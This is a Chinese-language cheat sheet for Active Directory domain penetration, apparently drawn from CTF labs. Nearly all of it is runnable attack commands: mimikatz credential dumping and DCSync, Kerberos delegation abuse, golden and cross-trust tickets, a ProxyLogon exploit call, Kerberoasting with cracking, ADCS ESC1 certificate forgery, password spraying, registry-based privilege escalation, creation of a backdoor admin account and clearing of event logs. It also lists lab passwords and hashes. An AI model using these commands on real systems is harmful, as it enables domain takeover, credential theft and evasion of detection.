域渗透笔记
域渗透专题
信息收集
WinPEAS
1
2
3
winPEASx64.exe > result.txt
#得到的结果要用type读取
type result.txt
在 CTF / 内网渗透中的典型场景
1
2
3
4
5
WinPEAS 输出片段:
[+] Looking for AutoLogon credentials
DefaultDomainName: CORP
DefaultUserName : Administrator
DefaultPassword : P@ssw0rd123 ← 直接拿到明文密码
Adinfo
查询约束性委派之类的可以尝试使用一下,比较清晰
1
2
#支持明文和哈希
./Adinfo -d redteam.lab --dc 192.168.131.130 -u username -H 5e95607216d9a4b7654d831beb9ee95c
陌生机器敏感信息收集
1
find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh|.*\.jsp|.*\.log|.*\.txt|.*\.xml" | xargs grep -E "=jdbc:|pass=|passwd=|aliyun|password"
工作组渗透
1
2
3
net user #查看当前机器用户
quser || qwinst #查看在线用户
net use #查看正在运行的服务
RDP相关
添加成员rdp
1
2
3
4
5
net user hunsil Abc123456 /add
net localgroup administrators hunsil /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
第三条核心作用是:通过修改注册表来开启远程桌面(RDP)服务。
登录方式(Linux)
1
2
3
4
5
6
7
#linux xfreerdp
proxychains4 xfreerdp /u:域名\用户名 /p:whoami@666 /v:192.168.3.131
proxychains4 xfreerdp /u:wanggang /d:epower.com(域名) /pth:0385cd1b77ac41a9e8e1e3b1dd0defd6 /v:172.28.20.1
#linux rdesktop
proxychains4 rdesktop 172.22.8.31 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'
在实际使用 xfreerdp 时,为了更好的体验或绕过某些限制,通常还会加上以下参数:
| 参数 | 作用 |
|---|---|
| /cert-ignore | 忽略证书验证(连接自签名证书的服务器时必带,否则会连接失败)。 |
| /f | 全屏模式。 |
| /w:1280 /h:720 | 设置窗口的分辨率(宽和高)。 |
| +clipboard | 允许本地与远程桌面之间共享剪贴板。 |
| /drive:share,/tmp | 将本地的 /tmp 目录挂载到远程机器上,方便传输文件。 |
爆破登录或者密码(crackmapexec)
1
2
#拿到账号密码爆破可登录主机
proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
旨在验证账号 Aldrich 是否拥有该网段内其他主机的访问权限。
修改密码
1
2
3
4
5
6
#利用上面的rdp工具上去修改
#smbpasswd
proxychains4 python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Whoami@666'
proxychains4 impacket-smbpasswd xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Whoami@666'
linux提权
suid提权
1
2
3
find / -perm -u=s -type f 2>/dev/null
find /bin -perm -u=s -type f 2>/dev/null
find /usr/bin -perm -u=s -type f 2>/dev/null
sudo提权
1
sudo -l
base64
1
base64 '/flag' | base64 --decode
diff
1
diff --line-format=%L /dev/null /home/flag/flag01.txt
mysql
1
sudo mysql -e '\! whoami'
grc
1
sudo grc --pty /bin/sh
windows提权
映像劫持
注册表路径:
1
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<目标程序.exe>
查看注册表权限
1
Get-ACL -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl
发现所有正常登录的用户都可以修改注册表,利用这个性质,修改注册表映像劫持,使用放大镜进行提权
magnify.exe替换成C:\windows\system32\cmd.exe
这样就直接提权成system了
覆盖放大镜:
1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
sweetpotato
可以和mssql配合使用,用MDUT连接,使用sweetpotato获取system权限
1
sweetpotato.exe -a "whoami"
PrintSpoofer64
运行 whoami /priv,查看是否包含 SeImpersonatePrivilege权限(身份验证后模拟客户端)
1
PrintSpoofer64.exe -i -c cmd
nopac
第一种,MAQ不为0的情况,脚本直接梭
1
python noPac.py xiaorang.lab/zhanghui -hashes :1232126b24cdf8c9bd2f788a9d7c7ed1 -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell
MAQ为0
1
2
3
4
5
查询被域用户创建的机器账户列表:
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
根据查询出来的sid找出对应的用户名:
AdFind.exe -b "DC=vertexsoft,DC=local" -f "(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1104))" objectclass cn dn
确定用户之后获取其权限再打nopac
横向
AllowedToDelegate
约束性委派
做法一
说明MSSQLSERVER这个机器可以向DC申请票据
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
ADfind结果如下
>msDS-AllowedToDelegateTo: ldap/DC.xiaorang.lab/xiaorang.lab
>msDS-AllowedToDelegateTo: ldap/DC.xiaorang.lab
>msDS-AllowedToDelegateTo: ldap/DC
>msDS-AllowedToDelegateTo: ldap/DC.xiaorang.lab/XIAORANG
>msDS-AllowedToDelegateTo: ldap/DC/XIAORANG
>msDS-AllowedToDelegateTo: ldap/DC.xiaorang.lab/DomainDnsZones.xiaorang.lab
>msDS-AllowedToDelegateTo: ldap/DC.xiaorang.lab/ForestDnsZones.xiaorang.lab
>msDS-AllowedToDelegateTo: cifs/DC.xiaorang.lab/xiaorang.lab
>msDS-AllowedToDelegateTo: cifs/DC.xiaorang.lab
>msDS-AllowedToDelegateTo: cifs/DC
>msDS-AllowedToDelegateTo: cifs/DC.xiaorang.lab/XIAORANG
>msDS-AllowedToDelegateTo: cifs/DC/XIAORANG
1.抓取机器用户哈希
简单来说,就是那个带$的用户
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit
2.申请票据
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:72851846a4ccfd849282b37d7435e0ff /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
得到一串b64
3.导入票据
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:b64的票据
4.通讯目标机器
dir \\DC.xiaorang.lab\c$\users\administrator\flag
做法二
1.抓取机器用户哈希
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit
2.申请票据
proxychains4 impacket-getST -dc-ip 172.22.2.3 -spn CIFS/DC.xiaorang.lab -impersonate administrator xiaorang.lab/MSSQLSERVER$ -hashes :72851846a4ccfd849282b37d7435e0ff
3.导入票据
export KRB5CCNAME=administrator@CIFS_DC.xiaorang.lab@XIAORANG.LAB.ccache
4.通讯目标机器
proxychains4 impacket-smbexec -k xiaorang.lab/administrator@DC.xiaorang.lab -no-pass -dc-ip 172.22.2.3 -codec gbk
做法三
1.导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
或
kekeo.exe "tgt::ask /user:MSSQLSERVER$ /domain:xiaorang.lab /NTLM:72851846a4ccfd849282b37d7435e0ff" "exit"
2.申请administrator权限的票据
kekeo.exe "tgs::s4u /tgt:[0;3e4]-2-1-40e10000-MSSQLSERVER$@krbtgt-XIAORANG.LAB.kirbi /user:Administrator@xiaorang.lab /service:cifs/DC.xiaorang.lab" "exit"
或者
kekeo.exe "tgs::s4u /tgt:TGT_MSSQLSERVER$@XIAORANG.LAB_krbtgt~xiaorang.lab@XIAORANG.LAB.kirbi /user:Administrator@xiaorang.lab /service:cifs/DC.xiaorang.lab" "exit"
3.导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@xiaorang.lab@XIAORANG.LAB_cifs~DC.xiaorang.lab@XIAORANG.LAB.kirbi" "exit"
4.通讯目标机器
dir \\DC.xiaorang.lab\c$\users\administrator\flag
Exchange 漏洞
Exchange Server 2016
1
proxychains python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab
WriteDACL
在域环境中,如果安装Exchange后,系统会添加一个名为Microsoft Exchange Security Groups、Exchange Trusted Subsystem和Exchange Windows Permission三个组。如果获得了这三个组内任意用户的控制权限,就能够继承用户组的WriteDACL权限,WriteDACL权限可以修改域对象的ACL,最终实现利用DCSync导出域内所有用户hash。
XIAORANG-EXC01对于域内用户有WriteDACL权限
1.获取域内带$用户哈希
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit
2.赋予当前机器某域内用户dcsync权限
1
2
3
proxychains4 python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :e392d48f3a4619483618cafef2e00fcb -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
python dacledit.py xiaorang.lab/XIAORANG-EXC01$ -hashes :b898bfd97adaeac3165e21cc0c83e018 -action write -rights DCSync -principal XIAORANG-EXC01$ -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
3.利用赋予的权限的用户去dump域内哈希
1
2
3
proxychains4 python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm
proxychains4 impacket-secretsdump xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm
4.利用域管哈希横向…….
HasSIDHistory
yuxuan 用户配置了指向 Administrator@xiaorang.lab 的 SID History, 因此 yuxuan 用户拥有域管理员的权限
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
1.直接dump域内哈希
1
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
2.横向其他机器
SMB匿名登录
SMB(Server Message Block)是一种局域网文件和打印机共享通信协议,可为不同计算机提供文件资源共享服务。
扫描到smb服务后可以尝试smb匿名登录
1
2
#验证是否存在
proxychains4 smbclient -L 172.22.9.47
1
2
3
4
#连接smb文件共享服务
proxychains4 smbclient \\\\172.22.9.47\\fileshare
proxychains python3 smbclient.py 172.22.9.47
支持命令
1
2
3
4
5
6
cd
ls
get #类似于下载文件,会下载到连接服务的当前目录
#使用python脚本进行连接的时候需要执行下面命令
shares #列出可选择的共享服务
use 共享服务名 #选择共享服务,剩下的和上面一样
Kerberoasting
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并用与SPN关联的服务帐户加密票证,以便服务能验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证
无任何思路的攻击条件:
一对正确的域内账号密码即可
1.得到一对正确的账号密码
可以通过信息收集或域内爆破手段获得
zhangjian/i9XDE02pLVf
2.向DC查找下域用户下的spn
proxychains4 impacket-GetUserSPNs -request -dc-ip 192.168.0.17 chu0.time/houxuan:'lanlan123.'
#或者
proxychains4 impacket-GetUserSPNs -hashes :xxx -dc-ip 172.24.7.3 pentest.me/usera -request
结果如下
$krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$7eb07d402d8222d949a7bb9de786157a$171e2460ef470bef5bd40de19882d7171d5779bfc237de7fe23f98834f95beabb3b6fbc5dc2feb1edcac07c4d5f6733e150c4b41380b6f075df52f9e9d2908358af93485a62b1b18214dff5fcbc43aa90cb455cc81f1accf61646dab850bb9709cd4f7f3f21c5aaa573aeaf9d2d8c5a823817472b9f5a7b42478ed9fd5469746ec0cd9a264850ab322c654f61cd05292c135f0d0502c3108c141979fc130638cf265fecb1de23ee0ba482069fde7bbfd61718a207613fea17e5567d79ebac7885dc5d106236892adeb90aef31ba026e1133ab34b0fa3333664c1455bf25bc4e568ef0c6ded1f374df8ed0dcb21cf30c0366b000c3405ba3addfea00a34b4e9c3e795c5e01a3412b46c29b3c89b44c8a8feb2f32b47825fa799a6f5855b069e99a115152edc66b79def4211571dca3002c3545cf8884afa32352e26ebfcf44f77821ec61bb8cb7fcfd5bd0293c293b5f7bd9b5f2a497d802eb8f88af986eba6584bbaae2eebf2360b8cb140743fab763b63887371a7e6ecab880882cdbdddde058a6a812073008e6cfd21146f9efe4d930997b53c6385d0c4041b18bb5b4eb3b331625c6e9891ad5acff9c0709b466278e8ac905f0aecc46d5cd50e53968a3023dfdd459be343a8bf4fdf26f09441e7f28a5db92e25684c158ef84d5c5a264c448e0b21930a68bd05ee38fda2dcb0b08cc5b2ff7eaa38944d786b54641a6ddac6bdbbac4ecf78f5ae0295442640a94b6e82fc52c7ad654a611861796506411e239b2d0d53e8aa4e4154ea875a59b0d3f721a9e8a0f5d23d73c7a79e592a96a88be086d71c07dd974b07905e9f7bdf9190ff587b8c8c86febcd728e8582841bcc93666f6c6ff3d2e50f363cec375fd934f2fec61989861748244e41ce41bdd13db64e7dd1abe40bb2fe1389f31bd08a39b073fde26ab0276572e2f5433e1f63fb4f9bb01c386c01a12475455afeeb3e0cfa44f0432a0af1064aa9ef47931cb7a78a44e9667bf6790769a6fc69ce31ee65b13ad9ab204d117999e1b0fac424a64010d35d60d3a207c1fe933c42f4fd5a0070418dc5d251d8d0d5cd39e7197f930dedc49f2e387574352f10f75f86d330ed6d9ac4a9e24393776a07a4b75863b54dd9bb34243270fe0580b6b1d14ed9b99db9ce8857143eec2497fb6fe6381dcb09598aff7f44dfec78680d39303978221f708c31e5b68966933680a64d798c6c5d066620d5ed40133e72541ec36b7dee4fda62c5b5efef7a290d7f2ca7c9f7e82386e6c73ed19b86028bfbdc14dcf7c76182f6fb4ebd5866d6e917b0e6d97f2f3b2b63001221584d7ee4e76234053fe34335fef4c341787f4270a9ebe8aa9570f1a06e4aa9114991317aa5176fdb6fe7e03f3a450e1035b074f3d6ca2f9fbfc857ec310c70db381435b39a964f0b70747216954f091b44495c345c139d650a7a690d3775f083bfc0666bab47abe17399a318ac7a34c938b6a637433da3409aaf5d805121b8f5a7a3c6d8c87d379a53a
3.爆破获取密码明文
hashcat -a 0 -m 13100 hash.txt ./rockyou.txt
4.利用得到的明文进行rdp等操作
非约束性委派
在约束委派攻击的周报上
父子域攻击
SID History 子域攻击
利用条件判断(三个维度)
| 条件 | 你的环境 | 说明 |
|---|---|---|
| EA组是否存在 | ✅ 存在 | net localgroup Administrators 显示 Enterprise Admins |
| 域信任是否存在 | ✅ 存在 | nltest 显示双向信任 idssctf.sec ↔ net.idssctf.sec |
| 信任关系类型 | ✅ 父子域(Forest Tree Root + Primary Domain) | 子域 net.idssctf.sec → 父域 idssctf.sec,双向信任 |
结论:满足所有利用条件,可以通过 SID History 注入 + 黄金票据伪造跨域到父域。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
C:\Users\Chu0\Desktop>net localgroup "Administrators"
别名 Administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
Administrator
Chu0
Domain Admins
Enterprise Admins
命令成功完成。
C:\Users\Public>nltest /domain_trusts /all_trusts /v
域信任的列表:
0: IDSSCTF idssctf.sec (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound) ( Attr: 0x20 )
1: NET net.idssctf.sec (NT 5) (Forest: 0) (Primary Domain) (Native)
此命令成功完成
C:\Users\Public>netdom query trust
定向受信\信任域 信任类型
========= ======================= ==========
<-> idssctf.sec
直接
未找到
命令成功完成。
路径 A:利用 krbtgt Hash(黄金票据):
需要当前子域的 krbtgt hash
1
2
3
4
子域 krbtgt hash
↓ 伪造包含父域 Enterprise Admins SID 的 TGT
↓ /sids:父域SID-519 注入 SID History
→ 访问父域DC,DCSync 拿到父域所有 hash
核心原理:Kerberos PAC 中的 ExtraSIDs 字段在跨域时不会被过滤(默认),父域 KDC 接受子域 TGT 时会信任其中的 SID History,从而赋予 EA 权限。
抓取信息:
1
2
3
C:\Users\Chu0\Desktop\mimikatz.exe privilege::debug "lsadump::lsa /patch /user:krbtgt" "lsadump::trust /patch" exit
C:\Users\Chu0\Desktop\mimikatz.exe log privilege::debug "lsadump::trust /patch" exit
制作黄金票据
1
2
3
4
5
6
7
mimikatz.exe
kerberos::golden /domain:当前域 /sid:当前SID /sids:目标SID-519 /krbtgt:krbtgt的hash /user:admin1 /ptt
kerberos::golden /domain:pentest.me /sid:S-1-5-21-3745972894-1678056601-2622918667 /sids:S-1-5-21-708081054-195637743-2881014444-519 /krbtgt:08b1732d06c09e84119486cbb94a5569 /ptt
mimikatz.exe "kerberos::golden /domain:pentest.me /sid:S-1-5-21-3745972894-1678056601-2622918667 /sids:S-1-5-21-708081054-195637743-2881014444-519 /krbtgt:08b1732d06c09e84119486cbb94a5569 /user:administrator /ptt" exit
dcsync获取父域哈希
1
mimikatz.exe log "lsadump::dcsync /domain:PEN.ME /all /csv" exit
PTH即可,或者使用
#获取另一域控名
net time /domain:pen.me
#DC
横向
PsExec64.exe /accepteula \\DC.pen.me -s cmd
路径 B:利用域信任密钥(Trust Key)
不需要 krbtgt,使用域间信任账户的 hash
1
2
3
4
信任密钥(pen.me$ 账户 RC4)
↓ 伪造跨域引用票据(inter-realm TGT)
↓ 请求目标域 cifs/krbtgt 服务票据
→ psexec/wmiexec 直接进父域DC
核心原理:域信任通过一个特殊账户(目标域名$)的共享密钥加密跨域票据,拿到这个 key 就能伪造跨域引用,效果等同于在目标域中有 EA 权限。
目标:pentest.me -> pen.me
和上面基本一样,就是在构建黄金票据的时候,krbtgt的hash换成域信任用户的hash即可
mimikatz.exe log "lsadump::dcsync /domain:PENTEST.ME /all /csv" exit
#利用命令获取信任密钥
C:\Users\Chu0\Desktop\mimikatz.exe log privilege::debug "lsadump::trust /patch" exit
我们需要的是In的从pentest.me -> pen.me的rc4密钥
或者是secretsdump获取的 新的域名$ 这个用户的哈希,也就是我们所需要的信任密钥
制作黄金票据 By ticketer
1
2
3
4
5
6
7
8
python3 ticketer.py -domain 当前域名 -domain-sid 当前域sid -nthash 域信任哈希 -extra-sid 目标域sid-519 -spn krbtgt/目标域名 要伪造的用户名
python3 ticketer.py -domain 当前域名 -domain-sid 当前域sid -nthash 域信任哈希 -extra-sid 目标域sid-519 -spn cifs/目标域名 administrator
python3 ticketer.py -domain marks.com -domain-sid S-1-5-21-2978104254-890095194-717427657 -nthash c2e2c619b858acd8d1af19af304e8226 -extra-sid S-1-5-21-2604987987-3353953405-2351486685-519 -spn krbtgt/zpchcbd.com administrator
set KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass administrator@WIN-MG4C5QO445H.zpchcbd.com -codec gbk
制作黄金票据 By mimikatz
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#步骤1
mimikatz.exe "kerberos::golden /domain:当前域名 /sid:当前域sid /sids:目标域sid-519 /rc4:域信任哈希 /user:要伪造的用户 /service:krbtgt /target:目标域名 /ticket:xx.kiribi" exit
mimikatz.exe "kerberos::golden /domain:chu0.time /sid:S-1-5-21-2978104254-890095194-717427657 /sids:S-1-5-21-2604987987-3353953405-2351486685-519 /rc4:c2e2c619b858acd8d1af19af304e8226 /user:administrator /service:krbtgt /target:zpchcbd.com /ticket:xx.kiribi" exit
#步骤2
获取域控名字
net time /domain:pen.me
asktgs xx.kiribi cifs/目标域控名.目标域名
#可以得到一长串的.kiribi
#步骤3
然后导入票据到内存
kirbikator.exe lsa 可以得到一长串的.kiribi
dir \\目标域控名.目标域名\c$
域林间横向
方法一:mimikatz 三步走(纯 Windows)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Step 1: 制作跨域引用票据(inter-realm ticket),保存到文件
mimikatz.exe "kerberos::golden \
/domain:当前域 \
/sid:当前域SID \
/sids:目标域SID-519 \ ← 注入 EA SID
/rc4:信任密钥hash \ ← 用 trust key 而非 krbtgt
/user:administrator \
/service:krbtgt \ ← 服务设为 krbtgt 表示这是 TGT
/target:目标域名 \ ← 告诉 Kerberos 这张票用于哪个域
/ticket:xx.kiribi" exit ← 保存到文件,不直接注入内存
# Step 2: 用 asktgs 把 inter-realm TGT 换成目标域的服务票据
asktgs xx.kiribi cifs/目标DC.目标域名
# 输出:administrator@目标域名.kiribi(真正可用的 ST)
# Step 3: 导入服务票据到内存,直接访问
kirbikator.exe lsa administrator@目标域名.kiribi
dir \\目标DC.目标域名\c$
票据流转:
1
2
3
4
5
xx.kiribi (inter-realm TGT)
→ asktgs 向目标域 KDC 兑换
→ 得到 cifs ST
→ kirbikator 注入内存
→ 访问目标DC文件系统
方法二:impacket ticketer(Linux/跨平台)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 一步生成 + 直接可用的 ccache 票据
python3 ticketer.py \
-domain 当前域名 \
-domain-sid 当前域SID \
-nthash 信任密钥hash \
-extra-sid 目标域SID-519 \
-spn krbtgt/目标域名 \ ← 或 cifs/目标域名
administrator
# 导入环境变量
export KRB5CCNAME=administrator.ccache
# 直接 psexec
python3 psexec.py -k -no-pass administrator@目标DC.目标域名 -codec gbk
与 mimikatz 方案的区别:
| 对比项 | mimikatz 三步走 | impacket ticketer |
|---|---|---|
| 平台 | Windows | Linux/Kali |
| 步骤 | 需要手动 asktgs 换票 | 一步完成或自动换票 |
| 票据格式 | .kiribi(Windows) | .ccache(Linux) |
| 适用场景 | 已在 Windows 目标机上 | 从 Kali 攻击机远程打 |
域内爆破
kerbrute爆破
爆破哪些用户是域内的
1
kerbrute_windows_amd64.exe userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10
–dc 172.22.6.12指定域控制器(DC)的 IP 地址。Kerbrute 将向此服务器发送 Kerberos 请求。
kerbrute 利用了 Kerberos 的 AS-REQ 请求:
- 如果用户存在,KDC(域控制器)会返回特定的响应(如需要预认证)。
- 如果用户不存在,KDC 会返回错误(
ERR_C_PRINCIPAL_UNKNOWN)。
AS-REPRoasting
在Kerberos 攻击周报上
Kerberoasting
在Kerberos 攻击周报上
crackmapexec
爆破rdp:
1
proxychains4 crackmapexec rdp 172.22.6.0/24 -u wenshao -p hellokitty -d xiaorang.lab
验证这个名为 wenshao 的账户在 6.0 网段中,哪些机器可以通过 RDP 成功登录。
爆破smb:
1
2
3
4
5
6
#利用字典爆破
proxychains4 crackmapexec smb 172.22.9.26 -u user.txt -p pass.txt --continue-on-success 2>/dev/null
#指定域或者计算机名
proxychains4 crackmapexec smb 172.22.4.45 -u Adrian -p rockyou.txt -d WIN19 2>/dev/null
#拿到账号密码爆破可登录主机
proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
字典爆破(1):
使用用户名列表 (user.txt) 和密码列表 (pass.txt) 对单台主机 172.22.9.26 进行批量尝试。
–continue-on-success: 这是一个重要参数。即便尝试成功了一组凭据,工具也会继续运行,直到字典跑完,以获取所有可能的有效账号。
密码喷洒(2,3) :
针对特定用户 Adrian,使用经典的 rockyou.txt 字典进行密码尝试。
检查用户 Adrian 是否使用了常见的弱口令。
kerberos喷洒用户
在kali py2运行,域控需要开启88端口
ADPwdSpray.py <域控IP> <域名> <用户名字典> <认证方式> <凭据值> <传输协议>传输协议>凭据值>认证方式>用户名字典>域名>域控IP>
1
2
ADPwdSpray.py 192.168.1.1 test.com user.txt clearpassword DomainUser123! tcp
ADPwdSpray.py 192.168.1.1 test.com user.txt ntlmhash e00045bd566a1b74386f5c1e3612921b udp
CA漏洞
主要有ESC1和ESC8,域内得有一个CA服务器
1.列出某用户所有证书
这里的重点是,必须要在干他之前rdp一下
proxychains4 certipy find -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -dc-ip 192.168.142.20 -debug -scheme ldap -stdout -vulnerable //ldaps 没开的话
proxychains4 certipy find -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -dc-ip 192.168.142.20 -stdout -vulnerable //默认ldaps
proxychains4 certipy find -u 'catest@chu0.time' -p 'whoami@666' -dc-ip 192.168.139.160 -vulnerable -stdout
Certify.exe find /vulnerable
结果如下
Certificate Authorities
0
CA Name : xiaorang-XIAORANG-DC-CA
DNS Name : XIAORANG-DC.xiaorang.lab
Certificate Subject : CN=xiaorang-XIAORANG-DC-CA, DC=xiaorang, DC=lab
Certificate Serial Number : 43A73F4A37050EAA4E29C0D95BC84BB5
Certificate Validity Start : 2023-07-14 04:33:21+00:00
Certificate Validity End : 2028-07-14 04:43:21+00:00
Web Enrollment : Disabled
User Specified SAN : Unknown
Request Disposition : Unknown
Enforce Encryption for Requests : Unknown
Certificate Templates
0
Template Name : XR Manager
Display Name : XR Manager
Certificate Authorities : xiaorang-XIAORANG-DC-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : XIAORANG.LAB\Domain Admins
XIAORANG.LAB\Domain Users
XIAORANG.LAB\Enterprise Admins
XIAORANG.LAB\Authenticated Users
Object Control Permissions
Owner : XIAORANG.LAB\Administrator
Write Owner Principals : XIAORANG.LAB\Domain Admins
XIAORANG.LAB\Enterprise Admins
XIAORANG.LAB\Administrator
Write Dacl Principals : XIAORANG.LAB\Domain Admins
XIAORANG.LAB\Enterprise Admins
XIAORANG.LAB\Administrator
Write Property Principals : XIAORANG.LAB\Domain Admins
XIAORANG.LAB\Enterprise Admins
XIAORANG.LAB\Administrator
[!] Vulnerabilities
ESC1 : 'XIAORANG.LAB\\Domain Users' and 'XIAORANG.LAB\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
2.向域控申请证书并伪造管理员
这里注意,在申请之前需要修改host,添加上CA和DC的host
proxychains4 certipy req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'
3.利用模板获取域管哈希
proxychains4 certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7
4.利用域管哈希横向
常用工具
mimikatz
运行前的准备工作,由于 mimikatz 需要直接操作进程内存(尤其是 lsass.exe),必须以 管理员权限 运行,并开启 Debug 权限。
1
2
# 提升至 Debug 权限(必须,否则无法访问系统进程)
privilege::debug
A. 抓取明文密码与哈希 (sekurlsa)
这是最经典用法。它通过读取 lsass.exe 进程,获取已登录用户的凭据。
- 抓取所有凭据(明文、哈希等):
sekurlsa::logonpasswords - 只抓取 Kerberos 票据:
sekurlsa::tickets
B. 读取本地 SAM 数据库 (lsadump)
用于获取本地离线用户的 NTLM 哈希。
- 读取 SAM 数据库:
lsadump::sam - 读取域缓存凭据 (DCC2/MSCACHE):
lsadump::cache - 在域控上导出所有域用户 Hash(DCSync 攻击): 这不需要登录域控,只需拥有域管权限的账号即可远程执行:
lsadump::dcsync /domain:xiaorang.lab /user:administrator
示例:
1
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit > mimikatz.txt
C. 票据传递攻击 (Pass-the-Ticket)
利用抓取到的 Kerberos 票据进行身份伪造。
- 注入票据 (.kirbi):
kerberos::ptt "C:\test\admin.kirbi" - 黄金票据 (Golden Ticket) 伪造: 利用权限维持,伪造一个有效期极长的域管凭证:
kerberos::golden /user:admin /domain:xiaorang.lab /sid:S-1-5-21-... /krbtgt:hash值 /ticket:gold.kirbi
D. 密码传递 (Pass-the-Hash)
如果你只有 NTLM Hash 而没有明文密码,可以利用 sekurlsa::pth 直接开启一个拥有目标用户权限的进程。
1
sekurlsa::pth /user:administrator /domain:xiaorang.lab /ntlm:f19... /run:cmd.exe
常见实战命令组合
| 目标 | 命令组合 |
|---|---|
| 一键抓口令 | privilege::debug, sekurlsa::logonpasswords, exit |
| 导出所有域 Hash | lsadump::dcsync /domain:xxx /all /csv |
| 清理痕迹 | event::clear (清除 Windows 日志,慎用) |
BloodHound
1
2
3
Linux:
sudo neo4j start
./BloodHound --no-sandbox --disable-gpu
1
2
3
window:
$env:JAVA_HOME = "C:\Program Files\Java\jdk-21.0.10"
neo4j.bat console
sharphound
sharphound.exe -c all
#指定账号密码
SharpHound.exe -c all --ldapusername houxuan --ldappassword "lanlan123." -d huilan-ad.com --domaincontroller 192.168.0.17
adfind
AdFind.exe -h 192.168.0.17 -u huilan-ad0\houxuan -up "lanlan123." -f "objectcategory=computer" -dn
#不简略
AdFind.exe -h 192.168.0.17 -u huilan-ad0\houxuan -up "lanlan123." -f "objectcategory=computer"
AdFind.exe -h 192.168.139.160 -f "objectcategory=user"
$computers = adfind -b "DC=huilan-ad,DC=com" -u huilan-ad0\houxuan -up "lanlan123." -f "(objectClass=computer)" DNSHostName
# 读取计算机名列表
$computers = Get-Content "123.txt"
# 遍历计算机名并执行 nslookup
foreach ($computer in $computers) {
# 执行 nslookup 并捕获标准错误和标准输出
$result = nslookup $computer 192.168.0.17 2>&1
# 检查是否有 "Address:" 行,提取 IP 地址
